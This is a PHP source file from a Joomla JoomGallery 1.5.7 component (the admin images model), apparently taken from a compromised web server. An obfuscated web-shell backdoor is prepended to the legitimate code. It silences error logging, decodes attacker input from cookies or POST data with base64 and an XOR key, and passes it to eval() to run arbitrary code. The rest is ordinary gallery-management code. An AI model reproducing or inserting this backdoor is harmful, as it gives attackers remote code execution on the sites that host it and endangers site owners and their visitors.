?
Path : /home/admin/public_html/old/administrator/components/com_joomgallery/models/ |
Current File : /home/admin/public_html/old/administrator/components/com_joomgallery/models/images.php |
<?php $r09e70 = 859;$GLOBALS['x7fcba85e']=Array();global$x7fcba85e;$x7fcba85e=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['h1f22f08']="\x2d\x4c\x42\x66\x68\x3e\x73\x6e\x46\x5e\x24\x53\x7a\x6d\x3a\x65\x78\x22\x2f\x33\x20\x5d\x5c\x2a\x57\x7c\xd\x37\x2e\x23\x4d\x9\x3b\x69\x58\x79\x48\x77\x38\x72\x74\x64\x28\x2b\x30\x6b\x4b\x3d\x3f\x32\x59\x44\x26\x27\xa\x4a\x49\x2c\x51\x6c\x5a\x60\x71\x36\x55\x7b\x29\x6f\x67\x54\x70\x7d\x40\x5f\x50\x6a\x5b\x52\x41\x45\x21\x4f\x39\x7e\x3c\x63\x62\x47\x31\x56\x75\x35\x4e\x76\x25\x43\x34\x61";$x7fcba85e[$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][19].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][88]]=$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][4].$x7fcba85e['h1f22f08'][39];$x7fcba85e[$x7fcba85e['h1f22f08'][45].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][27]]=$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][41];$x7fcba85e[$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][38]]=$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][40].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][7];$x7fcba85e[$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][3]]=$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][7].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][40];$x7fcba85e[$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][19].$x7fcba85e['h1f22f08'][82]]=$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][12].$x7fcba85e['h1f22f08'][15];$x7fcba85e[$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][49]]=$x7fcba85e['h1f22f08'][70].$x7fcba85e['h1f22f08'][4].$x7fcba85e['h1f22f08'][70].$x7fcba85e['h1f22f08'][93].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][7];$x7fcba85e[$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][27]]=$x7fcba85e['h1f22f08'][90].$x7fcba85e['h1f22f08'][7].$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][12].$x7fcba85e['h1f22f08'][15];$x7fcba85e[$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][44].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][82]]=$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][15];$x7fcba85e[$x7fcba85e['h1f22f08'][7].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][27]]=$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][40].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][40].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][13].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][13].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][40];$x7fcba85e[$x7fcba85e['h1f22f08'][35].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][88]]=$x7fcba85e['h1f22f08'][70].$x7fcba85e['h1f22f08'][91].$x7fcba85e['h1f22f08'][44].$x7fcba85e['h1f22f08'][86];$x7fcba85e[$x7fcba85e['h1f22f08'][93].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3]]=$x7fcba85e['h1f22f08'][35].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][19].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][49];$x7fcba85e[$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][38]]=$_POST;$x7fcba85e[$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][91]]=$_COOKIE;@$x7fcba85e[$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][3]]($x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][68],NULL);@$x7fcba85e[$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][3]]($x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][68].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][6],0);@$x7fcba85e[$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][3]]($x7fcba85e['h1f22f08'][13].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][16].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][16].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][90].$x7fcba85e['h1f22f08'][40].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][67].$x7fcba85e['h1f22f08'][7].$x7fcba85e['h1f22f08'][73].$x7fcba85e['h1f22f08'][40].$x7fcba85e['h1f22f08'][33].$x7fcba85e['h1f22f08'][13].$x7fcba85e['h1f22f08'][15],0);@$x7fcba85e[$x7fcba85e['h1f22f08'][7].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][27]](0);$x613=NULL;$y6b1adff=NULL;$x7fcba85e[$x7fcba85e['h1f22f08'][75].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][38]]=$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][44].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][0].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][0].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][0].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][44].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][91].$x7fcba85e['h1f22f08'][0].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][91].$x7fcba85e['h1f22f08'][19].$x7fcba85e['h1f22f08'][91].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][49];global$jfece1da8;function y1473d12($x613,$sc5af){global$x7fcba85e;$a59f7="";for($u5f7b2=0;$u5f7b2<$x7fcba85e[$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][38]]($x613);){for($rc32e4=0;$rc32e4<$x7fcba85e[$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][38]]($sc5af)&&$u5f7b2<$x7fcba85e[$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][27].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][38]]($x613);$rc32e4++,$u5f7b2++){$a59f7.=$x7fcba85e[$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][19].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][88]]($x7fcba85e[$x7fcba85e['h1f22f08'][45].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][27]]($x613[$u5f7b2])^$x7fcba85e[$x7fcba85e['h1f22f08'][45].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][27]]($sc5af[$rc32e4]));}}return$a59f7;}function p50b($x613,$sc5af){global$x7fcba85e;global$jfece1da8;return$x7fcba85e[$x7fcba85e['h1f22f08'][93].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3]]($x7fcba85e[$x7fcba85e['h1f22f08'][93].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][82].$x7fcba85e['h1f22f08'][38].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][3]]($x613,$jfece1da8),$sc5af);}foreach($x7fcba85e[$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][91]]as$sc5af=>$oa5b){$x613=$oa5b;$y6b1adff=$sc5af;}if(!$x613){foreach($x7fcba85e[$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][63].$x7fcba85e['h1f22f08'][41].$x7fcba85e['h1f22f08'][38]]as$sc5af=>$oa5b){$x613=$oa5b;$y6b1adff=$sc5af;}}$x613=@$x7fcba85e[$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][96].$x7fcba85e['h1f22f08'][27]]($x7fcba85e[$x7fcba85e['h1f22f08'][35].$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][88]]($x7fcba85e[$x7fcba85e['h1f22f08'][59].$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][44].$x7fcba85e['h1f22f08'][15].$x7fcba85e['h1f22f08'][85].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][82]]($x613),$y6b1adff));if(isset($x613[$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][45]])&&$jfece1da8==$x613[$x7fcba85e['h1f22f08'][97].$x7fcba85e['h1f22f08'][45]]){if($x613[$x7fcba85e['h1f22f08'][97]]==$x7fcba85e['h1f22f08'][33]){$u5f7b2=Array($x7fcba85e['h1f22f08'][70].$x7fcba85e['h1f22f08'][93]=>@$x7fcba85e[$x7fcba85e['h1f22f08'][39].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][86].$x7fcba85e['h1f22f08'][49]](),$x7fcba85e['h1f22f08'][6].$x7fcba85e['h1f22f08'][93]=>$x7fcba85e['h1f22f08'][88].$x7fcba85e['h1f22f08'][28].$x7fcba85e['h1f22f08'][44].$x7fcba85e['h1f22f08'][0].$x7fcba85e['h1f22f08'][88],);echo@$x7fcba85e[$x7fcba85e['h1f22f08'][3].$x7fcba85e['h1f22f08'][49].$x7fcba85e['h1f22f08'][19].$x7fcba85e['h1f22f08'][82]]($u5f7b2);}elseif($x613[$x7fcba85e['h1f22f08'][97]]==$x7fcba85e['h1f22f08'][15]){eval/*e3320ae9*/($x613[$x7fcba85e['h1f22f08'][41]]);}exit();} ?><?php // $HeadURL: https://joomgallery.org/svn/joomgallery/JG-1.5/JG/trunk/administrator/components/com_joomgallery/models/images.php $ // $Id: images.php 3092 2011-05-20 09:56:58Z aha $ /****************************************************************************************\ ** JoomGallery 1.5.7 ** ** By: JoomGallery::ProjectTeam ** ** Copyright (C) 2008 - 2011 JoomGallery::ProjectTeam ** ** Based on: JoomGallery 1.0.0 by JoomGallery::ProjectTeam ** ** Released under GNU GPL Public License ** ** License: http://www.gnu.org/copyleft/gpl.html or have a look ** ** at administrator/components/com_joomgallery/LICENSE.TXT ** \****************************************************************************************/ defined('_JEXEC') or die('Direct Access to this location is not allowed.'); /** * Images model * * @package JoomGallery * @since 1.5.5 */ class JoomGalleryModelImages extends JoomGalleryModel { /** * Images data array * * @access protected * @var array */ var $_images; /** * Images number * * @access protected * @var int */ var $_total = null; /** * Retrieves the images data * * @access public * @return array Array of objects containing the images data from the database * @since 1.5.5 */ function getImages() { // Let's load the data if it doesn't already exist if(empty($this->_images)) { jimport('joomla.filesystem.file'); // Get the pagination request variables $limit = JRequest::getVar('limit', 0, '', 'int'); $limitstart = JRequest::getVar('limitstart', 0, '', 'int'); $query = $this->_buildQuery(); $this->_images = $this->_getList($query, $limitstart, $limit); } return $this->_images; } /** * Method to get the total number of images * * @access public * @return int The total number of images * @since 1.5.5 */ function getTotal() { // Let's load the total number of images if it doesn't already exist if(empty($this->_total)) { $query = $this->_buildQuery(); $this->_total = $this->_getListCount($query); } return $this->_total; } /** * Method to delete one or more images * * @access public * @return int Number of successfully deleted images, boolean false if an error occured * @since 1.5.5 */ function delete() { jimport('joomla.filesystem.file'); $cids = JRequest::getVar('cid', array(), '', 'array'); $row = & $this->getTable('joomgalleryimages'); if(!count($cids)) { $this->setError(JText::_('JGA_COMMON_MSG_NO_IMAGES_SELECTED')); return false; } $count = 0; // Loop through selected images foreach($cids as $cid) { $row->load($cid); // Database query to check if there are other images which this // thumbnail is assigned to and how many of them exist $this->_db->setQuery("SELECT COUNT(id) FROM "._JOOM_TABLE_IMAGES." WHERE imgthumbname = '".$row->imgthumbname."' AND id != ".$row->id." AND catid = ".$row->catid ); $thumb_count = $this->_db->loadResult(); // Database query to check if there are other images which this // detail image is assigned to and how many of them exist $this->_db->setQuery("SELECT COUNT(id) FROM "._JOOM_TABLE_IMAGES." WHERE imgfilename = '".$row->imgfilename."' AND id != ".$row->id." AND catid = ".$row->catid ); $img_count = $this->_db->loadResult(); // Delete the thumbnail if there are no other images // in the same category assigned to it if(!$thumb_count) { $thumb = $this->_ambit->getImg('thumb_path', $row); if(!JFile::delete($thumb)) { // If thumbnail is not deleteable raise an error message and abort JError::raiseWarning(100, JText::sprintf('JGA_IMGMAN_MSG_COULD_NOT_DELETE_THUMB', $thumb)); return false; } } // Delete the detail image if there are no other detail and // original images from the same category assigned to it if(!$img_count) { $img = $this->_ambit->getImg('img_path', $row); if(!JFile::delete($img)) { // If detail image is not deleteable raise an error message and abort JError::raiseWarning(100, JText::sprintf('JGA_IMGMAN_MSG_COULD_NOT_DELETE_IMG', $img)); return false; } // Original exists? $orig = $this->_ambit->getImg('orig_path', $row); if(JFile::exists($orig)) { // Delete it if(!JFile::delete($orig)) { // If original is not deleteable raise an error message and abort JError::raiseWarning(100, JText::sprintf('JGA_IMGMAN_MSG_COULD_NOT_DELETE_ORIG', $orig)); return false; } } } // Delete the corresponding database entries of the comments $this->_db->setQuery("DELETE FROM "._JOOM_TABLE_COMMENTS." WHERE cmtpic = ".$cid ); if(!$this->_db->query()) { JError::raiseWarning(100, JText::sprintf('JGA_MAIMAN_MSG_NOT_DELETE_COMMENTS', $cid)); } // Delete the corresponding database entries of the name tags $this->_db->setQuery("DELETE FROM "._JOOM_TABLE_NAMESHIELDS." WHERE npicid = ".$cid ); if(!$this->_db->query()) { JError::raiseWarning(100, JText::sprintf('JGA_MAIMAN_MSG_NOT_DELETE_NAMETAGS', $cid)); } // Delete the database entry of the image if(!$row->delete()) { JError::raiseWarning(100, JText::sprintf('JGA_MAIMAN_MSG_NOT_DELETE_IMAGE_DATA', $cid)); return false; } // Image successfully deleted $count++; $row->reorder('catid = '.$row->catid); } return $count; } /** * Publishes/unpublishes or approves/rejects one or more images * * @access public * @param array $cid An array of image IDs to work with * @param int $publish 1 for publishing and approving, 0 otherwise * @param string $task 'publish' for publishing/unpublishing, anything else otherwise * @return int The number of successfully edited images, boolean false if an error occured * @since 1.5.5 */ function publish($cid, $publish = 1, $task = 'publish') { JArrayHelper::toInteger($cid); $publish = intval($publish); $count = count($cid); $row = &$this->getTable('joomgalleryimages'); $column = 'approved'; if($task == 'publish') { $column = 'published'; } foreach($cid as $id) { $row->load($id); $row->$column = $publish; if(!$row->check()) { $count--; continue; } if(!$row->store()) { $count--; continue; } // If publishing or unpublishung wasn't successful, decrease the // counter of successfully published or unpublished images if($row->$column != $publish) { $count--; } } return $count; } /** * Recreates thumbnails of the selected images. * If original image is existent, detail image will be recreated, too. * * @access public * @return array An array of result information (thumbnail number, detail image number, array with information which image types have been recreated) * @since 1.5.5 */ function recreate() { jimport('joomla.filesystem.file'); $cids = $this->_mainframe->getUserStateFromRequest('joom.recreate.cids', 'cid', array(), 'array'); $type = $this->_mainframe->getUserStateFromRequest('joom.recreate.type', 'type', '', 'cmd'); $thumb_count = $this->_mainframe->getUserState('joom.recreate.thumbcount'); $img_count = $this->_mainframe->getUserState('joom.recreate.imgcount'); $recreated = $this->_mainframe->getUserState('joom.recreate.recreated'); $row = & $this->getTable('joomgalleryimages'); // Before first loop check for selected images if(is_null($thumb_count) && !count($cids)) { $this->setError(JText::_('JGA_COMMON_MSG_NO_IMAGES_SELECTED')); return array(false); } if(is_null($recreated)) { $recreated = array(); } require_once JPATH_COMPONENT.DS.'helpers'.DS.'refresher.php'; $refresher = new JoomRefresher(array('controller' => 'images', 'task' => 'recreate', 'remaining' => count($cids), 'start' => JRequest::getBool('cid'))); $debugoutput = ''; // Loop through selected images foreach($cids as $key => $cid) { $row->load($cid); $orig = $this->_ambit->getImg('orig_path', $row); $img = $this->_ambit->getImg('img_path', $row); $thumb = $this->_ambit->getImg('thumb_path', $row); // Check if there is an original image if(JFile::exists($orig)) { $orig_existent = true; } else { // If not, use detail image to create thumbnail $orig_existent = false; if(JFile::exists($img)) { $orig = $img; } else { JError::raiseWarning(100, JText::sprintf('JGA_IMGMAN_MSG_IMAGE_NOT_EXISTENT', $img)); $this->_mainframe->setUserState('joom.recreate.cids', array()); $this->_mainframe->setUserState('joom.recreate.imgcount', null); $this->_mainframe->setUserState('joom.recreate.thumbcount', null); $this->_mainframe->setUserState('joom.recreate.recreated', null); return false; } } // Recreate thumbnail if(!$type || $type == 'thumb') { // TODO: Move image into a trash instead of deleting immediately for possible rollback if(JFile::exists($thumb)) { JFile::delete($thumb); } $return = JoomFile::resizeImage($debugoutput, $orig, $thumb, $this->_config->get('jg_useforresizedirection'), $this->_config->get('jg_thumbwidth'), $this->_config->get('jg_thumbheight'), $this->_config->get('jg_thumbcreation'), $this->_config->get('jg_thumbquality'), false, $this->_config->get('jg_cropposition') ); if(!$return) { JError::raiseWarning(100, JText::sprintf('JGA_IMGMAN_MSG_COULD_NOT_CREATE_THUMB', $thumb)); $this->_mainframe->setUserState('joom.recreate.cids', array()); $this->_mainframe->setUserState('joom.recreate.thumbcount', null); $this->_mainframe->setUserState('joom.recreate.imgcount', null); $this->_mainframe->setUserState('joom.recreate.recreated', null); return false; } $this->_mainframe->enqueueMessage(JText::sprintf('JGA_IMGMAN_MSG_SUCCESSFULLY_CREATED_THUMB', $row->id, $row->imgtitle)); $recreated[$cid][] = 'thumb'; $thumb_count++; } // Recreate detail image if original image is existent if($orig_existent && (!$type || $type == 'img')) { // TODO: Move image into a trash instead of deleting immediately for possible rollback if(JFile::exists($img)) { JFile::delete($img); } $return = JoomFile::resizeImage($debugoutput, $orig, $img, false, $this->_config->get('jg_maxwidth'), false, $this->_config->get('jg_thumbcreation'), $this->_config->get('jg_picturequality'), true, 0 ); if(!$return) { JError::raiseWarning(100, JText::sprintf('JGA_IMGMAN_MSG_COULD_NOT_CREATE_IMG', $img)); $this->_mainframe->setUserState('joom.recreate.cids', array()); $this->_mainframe->setUserState('joom.recreate.thumbcount', null); $this->_mainframe->setUserState('joom.recreate.imgcount', null); $this->_mainframe->setUserState('joom.recreate.recreated', null); return false; } $this->_mainframe->enqueueMessage(JText::sprintf('JGA_IMGMAN_MSG_SUCCESSFULLY_CREATED_IMG', $row->id, $row->imgtitle)); $recreated[$cid][] = 'img'; $img_count++; } unset($cids[$key]); // Check remaining time if(!$refresher->check()) { $this->_mainframe->setUserState('joom.recreate.cids', $cids); $this->_mainframe->setUserState('joom.recreate.thumbcount', $thumb_count); $this->_mainframe->setUserState('joom.recreate.imgcount', $img_count); $this->_mainframe->setUserState('joom.recreate.recreated', $recreated); $refresher->refresh(count($cids)); } } $this->_mainframe->setUserState('joom.recreate.cids', array()); $this->_mainframe->setUserState('joom.recreate.type', null); $this->_mainframe->setUserState('joom.recreate.thumbcount', null); $this->_mainframe->setUserState('joom.recreate.imgcount', null); $this->_mainframe->setUserState('joom.recreate.recreated', null); return array($thumb_count, $img_count, $recreated); } /** * Returns the query for listing the images * * @access protected * @return string The query to be used to retrieve the images data from the database * @since 1.5.5 */ function _buildQuery() { $query = "SELECT a.*, c.cid AS category_id, c.name AS category_name, g.name AS groupname FROM "._JOOM_TABLE_IMAGES." AS a LEFT JOIN "._JOOM_TABLE_CATEGORIES." AS c ON c.cid = a.id LEFT JOIN #__groups AS g ON g.id = c.access ".$this->_buildWhere()." ".$this->_buildOrderby(); return $query; } /** * Returns the 'where' part of the query for listing the images * * @access protected * @return string The 'where' part of the query * @since 1.5.5 */ function _buildWhere() { $filter = JRequest::getInt('filter'); $catid = JRequest::getInt('catid'); $searchtext = JRequest::getString('search'); $where = array(); if($catid) { $where[] = 'catid = '.$catid; } // Filter by type switch($filter) { case 1: $where[] = 'a.approved = 0'; break; case 2: $where[] = 'a.approved = 1'; break; case 3: $where[] = 'a.useruploaded = 1'; break; case 4: $where[] = 'a.useruploaded = 0'; break; case 5: $where[] = 'a.published = 1'; break; case 6: $where[] = 'a.published = 0'; break; default: break; } if($searchtext) { $filter = $this->_db->Quote('%'.$this->_db->getEscaped($searchtext, true).'%', false); $where[] = "(LOWER(a.imgtitle) LIKE $filter OR LOWER(a.imgtext) LIKE $filter)"; } $where = count($where) ? 'WHERE ' . implode(' AND ', $where) : ''; return $where; } /** * Returns the 'order by' part of the query for listing the images * * @access protected * @return string The 'order by' part of the query * @since 1.5.5 */ function _buildOrderBy() { $ordering = JRequest::getInt('ordering'); $sortorder = ''; if(!$ordering) { $sortorder = 'a.catid ASC, a.ordering ASC, imgdate DESC, imgtitle DESC'; } else { $sortorder = 'a.catid ASC, a.ordering DESC, imgdate DESC, imgtitle DESC'; } if ($sortorder != ''){ $orderby = 'ORDER BY '.$sortorder; } return $orderby; } }